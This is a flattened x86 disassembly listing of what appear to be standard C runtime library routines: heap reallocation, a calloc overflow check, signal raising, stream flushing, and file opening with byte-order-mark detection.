loc_4177DD push esi push ebx push eax call sub_41001A add esp, 0Ch test eax, eax jz short loc_4177A8 mov [ebp+var_1C], ebx jmp short loc_4177DD ; --------------------------------------------------------------------------- loc_4177A8: ; CODE XREF: sub_417720+81j push esi call sub_4102F9 pop ecx mov [ebp+var_1C], eax cmp eax, edi jz short loc_4177DD mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4177C0 mov eax, esi loc_4177C0: ; CODE XREF: sub_417720+9Cj push eax push ebx push [ebp+var_1C] call sub_40D820 push ebx call sub_40FB25 mov [ebp+var_20], eax push ebx push eax call sub_40FB50 add esp, 18h loc_4177DD: ; CODE XREF: sub_417720+72j ; sub_417720+86j ... cmp [ebp+var_1C], edi jnz short loc_41782A cmp esi, edi jnz short loc_4177EC xor esi, esi inc esi mov [ebp+arg_4], esi loc_4177EC: ; CODE XREF: sub_417720+C4j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_425FE8 call ds:dword_41E0F8 ; RtlAllocateHeap mov [ebp+var_1C], eax cmp eax, edi jz short loc_41782A mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_417814 mov eax, esi loc_417814: ; CODE XREF: sub_417720+F0j push eax push ebx push [ebp+var_1C] call sub_40D820 push ebx push [ebp+var_20] call sub_40FB50 add esp, 14h loc_41782A: ; CODE XREF: sub_417720+66j ; sub_417720+C0j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417864 cmp [ebp+var_20], 0 jnz short loc_41786D test esi, esi jnz short loc_417841 inc esi loc_417841: ; CODE XREF: sub_417720+11Ej add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push 0 push dword_425FE8 call ds:off_41E13C mov edi, eax jmp short loc_417870 sub_417720 endp ; =============== S U B R O U T I N E ======================================= sub_41785E proc near ; DATA XREF: r69pu5ti:00421E10o mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_41785E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417864 proc near ; CODE XREF: sub_417720+111p push 4 call sub_40F91F pop ecx retn sub_417864 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_417720 loc_41786D: ; CODE XREF: sub_417720+11Aj mov edi, [ebp+var_1C] loc_417870: ; CODE XREF: sub_417720+13Cj test edi, edi jnz loc_417937 cmp dword_42636C, edi jz short loc_4178AC push esi call sub_411CE7 pop ecx test eax, eax jnz loc_417761 call sub_40F7D4 cmp [ebp+var_20], edi jnz short loc_417905 loc_417899: ; CODE XREF: sub_417720+1F8j mov esi, eax call ds:dword_41E0D8 ; RtlGetLastWin32Error push eax call sub_40F799 pop ecx mov [esi], eax jmp short loc_41790B ; --------------------------------------------------------------------------- loc_4178AC: ; CODE XREF: sub_417720+15Ej test edi, edi jnz loc_417937 call sub_40F7D4 cmp [ebp+var_20], edi jz short loc_417926 mov dword ptr [eax], 0Ch jmp short loc_417937 ; --------------------------------------------------------------------------- loc_4178C6: ; CODE XREF: sub_417720+1D7j test esi, esi jnz short loc_4178CB inc esi loc_4178CB: ; CODE XREF: sub_417720+1A8j push esi push ebx push 0 push dword_425FE8 call ds:off_41E13C mov edi, eax test edi, edi jnz short loc_417937 cmp dword_42636C, eax jz short loc_41791D push esi call sub_411CE7 pop ecx test eax, eax jz short loc_417913 loc_4178F4: ; CODE XREF: sub_417720+3Bj cmp esi, 0FFFFFFE0h jbe short loc_4178C6 loc_4178F9: ; CODE XREF: sub_417720+49j push esi call sub_411CE7 pop ecx call sub_40F7D4 loc_417905: ; CODE XREF: sub_417720+177j mov dword ptr [eax], 0Ch loc_41790B: ; CODE XREF: sub_417720+2Fj ; sub_417720+18Aj xor eax, eax loc_41790D: ; CODE XREF: sub_417720+1Cj ; sub_417720+219j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_417913: ; CODE XREF: sub_417720+1D2j call sub_40F7D4 jmp loc_417899 ; --------------------------------------------------------------------------- loc_41791D: ; CODE XREF: sub_417720+1C7j test edi, edi jnz short loc_417937 call sub_40F7D4 loc_417926: ; CODE XREF: sub_417720+19Cj mov esi, eax call ds:dword_41E0D8 ; RtlGetLastWin32Error push eax call sub_40F799 mov [esi], eax pop ecx loc_417937: ; CODE XREF: sub_417720+152j ; sub_417720+18Ej ... mov eax, edi jmp short loc_41790D ; END OF FUNCTION CHUNK FOR sub_417720 ; =============== S U B R O U T I N E ======================================= sub_41793B proc near ; CODE XREF: sub_41190D+10p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_4] push esi xor esi, esi cmp ecx, esi jbe short loc_41796F push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, [esp+4+arg_8] jnb short loc_41796F call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 0Ch call sub_40CB08 add esp, 14h xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_41796F: ; CODE XREF: sub_41793B+9j ; sub_41793B+16j imul ecx, [esp+4+arg_8] push ecx push [esp+8+arg_0] call sub_417720 pop ecx pop ecx pop esi retn sub_41793B endp ; =============== S U B R O U T I N E ======================================= sub_417982 proc near ; CODE XREF: sub_411C19+27p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4264A4, eax mov dword_4264A8, eax mov dword_4264AC, eax mov dword_4264B0, eax retn sub_417982 endp ; =============== S U B R O U T I N E ======================================= sub_41799B proc near ; CODE XREF: sub_4179DC+5Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, dword_423E24 push esi loc_4179A6: ; CODE XREF: sub_41799B+1Ej cmp [eax+4], edx jz short loc_4179BB mov esi, ecx imul esi, 0Ch add esi, [esp+4+arg_0] add eax, 0Ch cmp eax, esi jb short loc_4179A6 loc_4179BB: ; CODE XREF: sub_41799B+Ej imul ecx, 0Ch add ecx, [esp+4+arg_0] pop esi cmp eax, ecx jnb short loc_4179CC cmp [eax+4], edx jz short locret_4179CE loc_4179CC: ; CODE XREF: sub_41799B+2Aj xor eax, eax locret_4179CE: ; CODE XREF: sub_41799B+2Fj retn sub_41799B endp ; =============== S U B R O U T I N E ======================================= sub_4179CF proc near ; CODE XREF: sub_419CD1:loc_419CFEp push dword_4264AC call sub_40F194 pop ecx retn sub_4179CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4179DC proc near ; CODE XREF: sub_419CD1+38p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00417B86 SIZE 00000006 BYTES push 20h push offset dword_421E18 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_28], edi mov ebx, [ebp+arg_0] cmp ebx, 0Bh jg short loc_417A44 jz short loc_417A0F mov eax, ebx push 2 pop ecx sub eax, ecx jz short loc_417A25 sub eax, ecx jz short loc_417A0F sub eax, ecx jz short loc_417A6F sub eax, ecx jnz short loc_417A53 loc_417A0F: ; CODE XREF: sub_4179DC+1Cj ; sub_4179DC+29j call sub_40F31B mov edi, eax mov [ebp+var_28], edi test edi, edi jnz short loc_417A31 loc_417A1D: ; CODE XREF: sub_4179DC+91j or eax, 0FFFFFFFFh jmp loc_417B86 ; --------------------------------------------------------------------------- loc_417A25: ; CODE XREF: sub_4179DC+25j mov esi, offset dword_4264A4 mov eax, dword_4264A4 jmp short loc_417A91 ; --------------------------------------------------------------------------- loc_417A31: ; CODE XREF: sub_4179DC+3Fj push dword ptr [edi+5Ch] mov edx, ebx call sub_41799B mov esi, eax add esi, 8 mov eax, [esi] jmp short loc_417A9E ; --------------------------------------------------------------------------- loc_417A44: ; CODE XREF: sub_4179DC+1Aj mov eax, ebx sub eax, 0Fh jz short loc_417A87 sub eax, 6 jz short loc_417A7B dec eax jz short loc_417A6F loc_417A53: ; CODE XREF: sub_4179DC+31j call sub_40F7D4 mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax call sub_40CB08 add esp, 14h jmp short loc_417A1D ; --------------------------------------------------------------------------- loc_417A6F: ; CODE XREF: sub_4179DC+2Dj ; sub_4179DC+75j mov esi, offset dword_4264AC mov eax, dword_4264AC jmp short loc_417A91 ; --------------------------------------------------------------------------- loc_417A7B: ; CODE XREF: sub_4179DC+72j mov esi, offset dword_4264A8 mov eax, dword_4264A8 jmp short loc_417A91 ; --------------------------------------------------------------------------- loc_417A87: ; CODE XREF: sub_4179DC+6Dj mov esi, offset dword_4264B0 mov eax, dword_4264B0 loc_417A91: ; CODE XREF: sub_4179DC+53j ; sub_4179DC+9Dj ... mov [ebp+var_1C], 1 push eax call sub_40F194 loc_417A9E: ; CODE XREF: sub_4179DC+66j mov [ebp+var_20], eax pop ecx xor eax, eax cmp [ebp+var_20], 1 jz loc_417B86 cmp [ebp+var_20], eax jnz short loc_417ABA push 3 call sub_411BEA loc_417ABA: ; CODE XREF: sub_4179DC+D5j cmp [ebp+var_1C], eax jz short loc_417AC6 push eax call sub_40F9F7 pop ecx loc_417AC6: ; CODE XREF: sub_4179DC+E1j xor eax, eax mov [ebp+ms_exc.disabled], eax cmp ebx, 8 jz short loc_417ADA cmp ebx, 0Bh jz short loc_417ADA cmp ebx, 4 jnz short loc_417AF5 loc_417ADA: ; CODE XREF: sub_4179DC+F2j ; sub_4179DC+F7j mov ecx, [edi+60h] mov [ebp+var_2C], ecx mov [edi+60h], eax cmp ebx, 8 jnz short loc_417B28 mov ecx, [edi+64h] mov [ebp+var_30], ecx mov dword ptr [edi+64h], 8Ch loc_417AF5: ; CODE XREF: sub_4179DC+FCj cmp ebx, 8 jnz short loc_417B28 mov ecx, dword_423E18 mov [ebp+var_24], ecx loc_417B03: ; CODE XREF: sub_4179DC+14Aj mov ecx, dword_423E1C mov edx, dword_423E18 add ecx, edx cmp [ebp+var_24], ecx jge short loc_417B2F mov ecx, [ebp+var_24] imul ecx, 0Ch mov edx, [edi+5Ch] mov [ecx+edx+8], eax inc [ebp+var_24] jmp short loc_417B03 ; --------------------------------------------------------------------------- loc_417B28: ; CODE XREF: sub_4179DC+10Aj ; sub_4179DC+11Cj call sub_40F18B mov [esi], eax loc_417B2F: ; CODE XREF: sub_4179DC+138j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417B50 cmp ebx, 8 jnz short sub_417B5F push dword ptr [edi+64h] push ebx call [ebp+var_20] pop ecx jmp short loc_417B63 sub_4179DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417B4A proc near ; DATA XREF: r69pu5ti:00421E30o mov ebx, [ebp+8] mov edi, [ebp-28h] sub_417B4A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417B50 proc near ; CODE XREF: sub_4179DC+15Ap cmp dword ptr [ebp-1Ch], 0 jz short locret_417B5E push 0 call sub_40F91F pop ecx locret_417B5E: ; CODE XREF: sub_417B50+4j retn sub_417B50 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4179DC+162j push ebx call dword ptr [ebp-20h] loc_417B63: ; CODE XREF: sub_4179DC+16Cj pop ecx cmp ebx, 8 jz short loc_417B73 cmp ebx, 0Bh jz short loc_417B73 cmp ebx, 4 jnz short loc_417B84 loc_417B73: ; CODE XREF: sub_417B5F+8j ; sub_417B5F+Dj mov eax, [ebp-2Ch] mov [edi+60h], eax cmp ebx, 8 jnz short loc_417B84 mov eax, [ebp-30h] mov [edi+64h], eax loc_417B84: ; CODE XREF: sub_417B5F+12j ; sub_417B5F+1Dj xor eax, eax sub_417B5F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4179DC loc_417B86: ; CODE XREF: sub_4179DC+44j ; sub_4179DC+CCj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4179DC ; =============== S U B R O U T I N E ======================================= sub_417B8C proc near ; CODE XREF: sub_411C19+21p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4264B8, eax retn sub_417B8C endp ; =============== S U B R O U T I N E ======================================= sub_417B96 proc near ; CODE XREF: sub_411C19+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4264C4, eax retn sub_417B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417BA0 proc near ; CODE XREF: sub_411DC0+Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_421E38 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx push 1 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], ebx push 3 pop edi loc_417BBF: ; CODE XREF: sub_417BA0+7Fj mov [ebp+var_20], edi cmp edi, dword_434D20 jge short loc_417C21 mov esi, edi shl esi, 2 mov eax, dword_433D00 add eax, esi cmp [eax], ebx jz short loc_417C1E mov eax, [eax] test byte ptr [eax+0Ch], 83h jz short loc_417BF1 push eax call sub_40D257 pop ecx cmp eax, 0FFFFFFFFh jz short loc_417BF1 inc [ebp+var_1C] loc_417BF1: ; CODE XREF: sub_417BA0+40j ; sub_417BA0+4Cj cmp edi, 14h jl short loc_417C1E mov eax, dword_433D00 mov eax, [esi+eax] add eax, 20h push eax call ds:off_41E158 mov eax, dword_433D00 push dword ptr [esi+eax] call sub_40D35A pop ecx mov eax, dword_433D00 mov [esi+eax], ebx loc_417C1E: ; CODE XREF: sub_417BA0+38j ; sub_417BA0+54j inc edi jmp short loc_417BBF ; --------------------------------------------------------------------------- loc_417C21: ; CODE XREF: sub_417BA0+28j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_417C36 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_417BA0 endp ; =============== S U B R O U T I N E ======================================= sub_417C36 proc near ; CODE XREF: sub_417BA0+88p ; DATA XREF: r69pu5ti:00421E50o push 1 call sub_40F91F pop ecx retn sub_417C36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3F proc near ; CODE XREF: sub_41827D+72p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 28h push ebx push esi xor ebx, ebx test byte ptr [ebp+arg_8], 80h push edi push 10h mov esi, eax mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov [ebp+var_2], bl mov [ebp+var_28], 0Ch mov [ebp+var_24], ebx pop edi jz short loc_417C71 mov [ebp+var_20], ebx mov [ebp+var_1], 10h jmp short loc_417C7B ; --------------------------------------------------------------------------- loc_417C71: ; CODE XREF: sub_417C3F+27j mov [ebp+var_20], 1 mov [ebp+var_1], bl loc_417C7B: ; CODE XREF: sub_417C3F+30j lea eax, [ebp+var_14] push eax call sub_41A399 test eax, eax pop ecx jz short loc_417C96 push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_417C96: ; CODE XREF: sub_417C3F+48j lea eax, [ebp+var_18] push eax call sub_411A06 test eax, eax pop ecx jz short loc_417CB1 push ebx push ebx push ebx push ebx push ebx call sub_40CA0C add esp, 14h loc_417CB1: ; CODE XREF: sub_417C3F+63j mov eax, 8000h test [ebp+arg_8], eax jnz short loc_417CCD test [ebp+arg_8], 74000h jnz short loc_417CC9 cmp [ebp+var_14], eax jz short loc_417CCD loc_417CC9: ; CODE XREF: sub_417C3F+83j or [ebp+var_1], 80h loc_417CCD: ; CODE XREF: sub_417C3F+7Aj ; sub_417C3F+88j mov eax, [ebp+arg_8] push 3 pop edx and eax, edx sub eax, ebx mov ecx, 80000000h jz short loc_417D1C dec eax jz short loc_417D13 dec eax jz short loc_417D0A loc_417CE4: ; CODE XREF: sub_417C3F+F6j ; sub_417C3F+14Fj ... call sub_40F7E7 mov [eax], ebx or dword ptr [esi], 0FFFFFFFFh call sub_40F7D4 push 16h pop esi push ebx push ebx push ebx push ebx push ebx mov [eax], esi call sub_40CB08 add esp, 14h jmp loc_418199 ; --------------------------------------------------------------------------- loc_417D0A: ; CODE XREF: sub_417C3F+A3j mov [ebp+var_C], 0C0000000h jmp short loc_417D1F ; --------------------------------------------------------------------------- loc_417D13: ; CODE XREF: sub_417C3F+A0j mov [ebp+var_C], 40000000h jmp short loc_417D1F ; --------------------------------------------------------------------------- loc_417D1C: ; CODE XREF: sub_417C3F+9Dj mov [ebp+var_C], ecx loc_417D1F: ; CODE XREF: sub_417C3F+D2j ; sub_417C3F+DBj mov eax, [ebp+arg_C] sub eax, edi jz short loc_417D5B sub eax, edi jz short loc_417D52 sub eax, edi jz short loc_417D49 sub eax, edi jz short loc_417D44 sub eax, 40h jnz short loc_417CE4 xor eax, eax cmp [ebp+var_C], ecx setz al mov [ebp+var_8], eax jmp short loc_417D5E ; --------------------------------------------------------------------------- loc_417D44: ; CODE XREF: sub_417C3F+F1j mov [ebp+var_8], edx jmp short loc_417D5E ; --------------------------------------------------------------------------- loc_417D49: ; CODE XREF: sub_417C3F+EDj mov [ebp+var_8], 2 jmp short loc_417D5E ; --------------------------------------------------------------------------- loc_417D52: ; CODE XREF: sub_417C3F+E9j mov [ebp+var_8], 1 jmp short loc_417D5E ; --------------------------------------------------------------------------- loc_417D5B: ; CODE XREF: sub_417C3F+E5j mov [ebp+var_8], ebx loc_417D5E: ; CODE XREF: sub_417C3F+103j ; sub_417C3F+108j ... mov eax, [ebp+arg_8] mov edx, 700h and eax, edx mov ecx, 400h cmp eax, ecx jg short loc_417DAF jz short loc_417DA6 cmp eax, ebx jz short loc_417DA6 cmp eax, 100h jz short loc_417D9D cmp eax, 200h jz loc_417E21 cmp eax, 300h jnz loc_417CE4 mov [ebp+var_10], 2 jmp short loc_417DCC ; --------------------------------------------------------------------------- loc_417D9D: ; CODE XREF: sub_417C3F+13Dj mov [ebp+var_10], 4 jmp short loc_417DCC ; --------------------------------------------------------------------------- loc_417DA6: ; CODE XREF: sub_417C3F+132j ; sub_417C3F+136j mov [ebp+var_10], 3 jmp short loc_417DCC ; --------------------------------------------------------------------------- loc_417DAF: ; CODE XREF: sub_417C3F+130j cmp eax, 500h jz short loc_417DC5 cmp eax, 600h jz short loc_417E21 cmp eax, edx jnz loc_417CE4 loc_417DC5: ; CODE XREF: sub_417C3F+175j mov [ebp+var_10], 1 loc_417DCC: ; CODE XREF: sub_417C3F+15Cj ; sub_417C3F+165j ... mov ecx, [ebp+arg_8] mov eax, 100h test ecx, eax mov edi, 80h jz short loc_417DEF mov edx, dword_425FF4 not edx and edx, [ebp+arg_10] test dl, dl js short loc_417DEF xor edi, edi inc edi loc_417DEF: ; CODE XREF: sub_417C3F+19Cj ; sub_417C3F+1ABj test cl, 40h jz short loc_417E0B or [ebp+var_C], 10000h or edi, 4000000h cmp [ebp+var_18], 2 jnz short loc_417E0B or [ebp+var_8], 4 loc_417E0B: ; CODE XREF: sub_417C3F+1B3j ; sub_417C3F+1C6j test cx, 1000h jz short loc_417E14 or edi, eax loc_417E14: ; CODE XREF: sub_417C3F+1D1j test cl, 20h jz short loc_417E2A or edi, 8000000h jmp short loc_417E35 ; --------------------------------------------------------------------------- loc_417E21: ; CODE XREF: sub_417C3F+144j ; sub_417C3F+17Cj mov [ebp+var_10], 5 jmp short loc_417DCC ; --------------------------------------------------------------------------- loc_417E2A: ; CODE XREF: sub_417C3F+1D8j test cl, 10h jz short loc_417E35 or edi, 10000000h loc_417E35: ; CODE XREF: sub_417C3F+1E0j ; sub_417C3F+1EEj call sub_418A7C cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_417E58 call sub_40F7E7 mov [eax], ebx or dword ptr [esi], 0FFFFFFFFh call sub_40F7D4 mov dword ptr [eax], 18h jmp short loc_417EA8 ; --------------------------------------------------------------------------- loc_417E58: ; CODE XREF: sub_417C3F+200j mov eax, [ebp+arg_0] push ebx push edi push [ebp+var_10] mov dword ptr [eax], 1 lea eax, [ebp+var_28] push eax push [ebp+var_8] push [ebp+var_C] push [ebp+arg_4] call ds:off_41E05C mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_417EB4 mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_433C00[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FEh loc_417E9B: ; CODE XREF: sub_417C3F+2A2j call ds:dword_41E0D8 ; RtlGetLastWin32Error push eax call sub_40F7FA loc_417EA7: ; CODE XREF: sub_417C3F+345j pop ecx loc_417EA8: ; CODE XREF: sub_417C3F+217j call sub_40F7D4 mov eax, [eax] jmp loc_418278 ; --------------------------------------------------------------------------- loc_417EB4: ; CODE XREF: sub_417C3F+23Fj push edi call ds:dword_41E130 ; GetFileType cmp eax, ebx jnz short loc_417EE3 mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_433C00[eax*4] lea eax, [eax+esi+4] and byte ptr [eax], 0FEh push edi call ds:dword_41E0C4 ; CloseHandle jmp short loc_417E9B ; --------------------------------------------------------------------------- loc_417EE3: ; CODE XREF: sub_417C3F+27Ej cmp eax, 2 jnz short loc_417EEE or [ebp+var_1], 40h jmp short loc_417EF7 ; --------------------------------------------------------------------------- loc_417EEE: ; CODE XREF: sub_417C3F+2A7j cmp eax, 3 jnz short loc_417EF7 or [ebp+var_1], 8 loc_417EF7: ; CODE XREF: sub_417C3F+2ADj ; sub_417C3F+2B2j push edi push dword ptr [esi] call sub_41884B mov eax, [esi] mov edx, eax and eax, 1Fh imul eax, 28h sar edx, 5 mov edx, dword_433C00[edx*4] pop ecx pop ecx mov cl, [ebp+var_1] or cl, 1 mov [edx+eax+4], cl mov eax, [esi] mov edx, eax and eax, 1Fh imul eax, 28h sar edx, 5 mov edx, dword_433C00[edx*4] lea eax, [edx+eax+24h] and byte ptr [eax], 80h mov [ebp+var_3], cl and [ebp+var_3], 48h mov [ebp+var_1], cl jnz loc_417FCA test cl, 80h jz loc_418204 test byte ptr [ebp+arg_8], 2 jz short loc_417FCA push 2 or edi, 0FFFFFFFFh push edi push dword ptr [esi] call sub_41A26B add esp, 0Ch cmp eax, edi mov [ebp+var_8], eax jnz short loc_417F89 call sub_40F7E7 cmp dword ptr [eax], 83h jz short loc_417FCA loc_417F7D: ; CODE XREF: sub_417C3F+379j ; sub_417C3F+389j ... push dword ptr [esi] call sub_4126D1 jmp loc_417EA7 ; --------------------------------------------------------------------------- loc_417F89: ; CODE XREF: sub_417C3F+32Fj push 1 lea eax, [ebp+var_4] push eax push dword ptr [esi] mov [ebp+var_4], bl call sub_413B24 add esp, 0Ch test eax, eax jnz short loc_417FBA cmp [ebp+var_4], 1Ah jnz short loc_417FBA mov eax, [ebp+var_8] cdq push edx push eax push dword ptr [esi] call sub_41A0B7 add esp, 0Ch cmp eax, edi jz short loc_417F7D loc_417FBA: ; CODE XREF: sub_417C3F+35Fj ; sub_417C3F+365j push ebx push ebx push dword ptr [esi] call sub_41A26B add esp, 0Ch cmp eax, edi jz short loc_417F7D loc_417FCA: ; CODE XREF: sub_417C3F+305j ; sub_417C3F+318j ... test [ebp+var_1], 80h jz loc_418204 mov ecx, 74000h test [ebp+arg_8], ecx mov edi, 4000h jnz short loc_417FF2 mov eax, [ebp+var_14] and eax, ecx jnz short loc_417FEF or [ebp+arg_8], edi jmp short loc_417FF2 ; --------------------------------------------------------------------------- loc_417FEF: ; CODE XREF: sub_417C3F+3A9j or [ebp+arg_8], eax loc_417FF2: ; CODE XREF: sub_417C3F+3A2j ; sub_417C3F+3AEj mov eax, [ebp+arg_8] and eax, ecx cmp eax, edi jz short loc_41803F cmp eax, 10000h jz short loc_41802B cmp eax, 14000h jz short loc_41802B cmp eax, 20000h jz short loc_418039 cmp eax, 24000h jz short loc_418039 cmp eax, 40000h jz short loc_418025 cmp eax, 44000h jnz short loc_418042 loc_418025: ; CODE XREF: sub_417C3F+3DDj mov [ebp+var_2], 1 jmp short loc_418042 ; --------------------------------------------------------------------------- loc_41802B: ; CODE XREF: sub_417C3F+3C1j ; sub_417C3F+3C8j mov ecx, [ebp+arg_8] mov eax, 301h and ecx, eax cmp ecx, eax jnz short loc_418042 loc_418039: ; CODE XREF: sub_417C3F+3CFj ; sub_417C3F+3D6j mov [ebp+var_2], 2 jmp short loc_418042 ; --------------------------------------------------------------------------- loc_41803F: ; CODE XREF: sub_417C3F+3BAj mov [ebp+var_2], bl loc_418042: ; CODE XREF: sub_417C3F+3E4j ; sub_417C3F+3EAj ... test [ebp+arg_8], 70000h jz loc_418204 test [ebp+var_1], 40h mov [ebp+var_8], ebx jnz loc_418204 mov eax, [ebp+var_C] mov ecx, 0C0000000h and eax, ecx cmp eax, 40000000h jz loc_418128 cmp eax, 80000000h jz short loc_4180EF cmp eax, ecx jnz loc_418204 mov eax, [ebp+var_10] cmp eax, ebx jbe loc_418204 cmp eax, 2 jbe short loc_41809E cmp eax, 4 jbe short loc_4180C5 loc_418095: ; CODE XREF: sub_417C3F+500j cmp eax, 5 jnz loc_418204 loc_41809E: ; CODE XREF: sub_417C3F+44Fj ; sub_417C3F+496j ... movsx eax, [ebp+var_2] xor edi, edi dec eax jz loc_4181D1 dec eax jnz loc_418204 mov [ebp+var_8], 0FEFFh mov [ebp+var_10], 2 jmp loc_4181DF ; --------------------------------------------------------------------------- loc_4180C5: ; CODE XREF: sub_417C3F+454j push 2 push ebx push ebx push dword ptr [esi] call sub_416A1E add esp, 10h or eax, edx jz short loc_41809E push ebx push ebx push ebx push dword ptr [esi] call sub_416A1E and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_417F7D loc_4180EF: ; CODE XREF: sub_417C3F+437j push 3 lea eax, [ebp+var_8] push eax push dword ptr [esi] call sub_413B24 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_417F7D cmp eax, 2 jz short loc_418178 cmp eax, 3 jnz loc_4181C3 cmp [ebp+var_8], 0BFBBEFh jnz short loc_418178 mov [ebp+var_2], 1 jmp loc_418204 ; --------------------------------------------------------------------------- loc_418128: ; CODE XREF: sub_417C3F+42Cj mov eax, [ebp+var_10] cmp eax, ebx jbe loc_418204 cmp eax, 2 jbe loc_41809E cmp eax, 4 ja loc_418095 push 2 push ebx push ebx push dword ptr [esi] call sub_416A1E add esp, 10h or eax, edx jz loc_41809E push ebx push ebx push ebx push dword ptr [esi] call sub_416A1E add esp, 10h and eax, edx loc_41816A: ; CODE XREF: sub_417C3F+590j cmp eax, 0FFFFFFFFh jnz loc_418204 jmp loc_417F7D ; --------------------------------------------------------------------------- loc_418178: ; CODE XREF: sub_417C3F+4CCj ; sub_417C3F+4DEj mov eax, [ebp+var_8] and eax, 0FFFFh cmp eax, 0FFFEh jnz short loc_4181A0 push dword ptr [esi] call sub_4126D1 pop ecx call sub_40F7D4 push 16h pop esi mov [eax], esi loc_418199: ; CODE XREF: sub_417C3F+C6j mov eax, esi jmp loc_418278 ; --------------------------------------------------------------------------- loc_4181A0: ; CODE XREF: sub_417C3F+546j cmp eax, 0FEFFh jnz short loc_4181C3 push ebx push 2 push dword ptr [esi] call sub_41A26B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_417F7D mov [ebp+var_2], 2 jmp short loc_418204 ; --------------------------------------------------------------------------- loc_4181C3: ; CODE XREF: sub_417C3F+4D1j ; sub_417C3F+566j push ebx push ebx push dword ptr [esi] call sub_41A26B add esp, 0Ch jmp short loc_41816A ; --------------------------------------------------------------------------- loc_4181D1: ; CODE XREF: sub_417C3F+466j mov [ebp+var_8], 0BFBBEFh mov [ebp+var_10], 3 loc_4181DF: ; CODE XREF: sub_417C3F+481j ; sub_417C3F+5C3j mov eax, [ebp+var_10] sub eax, edi push eax lea eax, [ebp+edi+var_8] push eax push dword ptr [esi] call sub_417180 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_417F7D add edi, eax cmp [ebp+var_10], edi jg short loc_4181DF loc_418204: ; CODE XREF: sub_417C3F+30Ej ; sub_417C3F+38Fj ... mov eax, [esi] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_433C00[ecx*4] lea eax, [ecx+eax+24h] mov cl, [eax] xor cl, [ebp+var_2] and cl, 7Fh xor [eax], cl mov eax, [esi] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_433C00[ecx*4] lea eax, [ecx+eax+24h] mov ecx, [ebp+arg_8] mov dl, [eax] shr ecx, 10h shl cl, 7 and dl, 7Fh or cl, dl cmp [ebp+var_3], bl mov [eax], cl jnz short loc_418276 test byte ptr [ebp+arg_8], 8 jz short loc_418276 mov esi, [esi] mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 mov eax, dword_433C00[eax*4] lea eax, [eax+esi+4] or byte ptr [eax], 20h loc_418276: ; CODE XREF: sub_417C3F+614j ; sub_417C3F+61Aj mov eax, ebx loc_418278: ; CODE XREF: sub_417C3F+270j ; sub_417C3F+55Cj pop edi pop esi pop ebx leave retn sub_417C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41827D proc near ; CODE XREF: sub_418349+14p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h 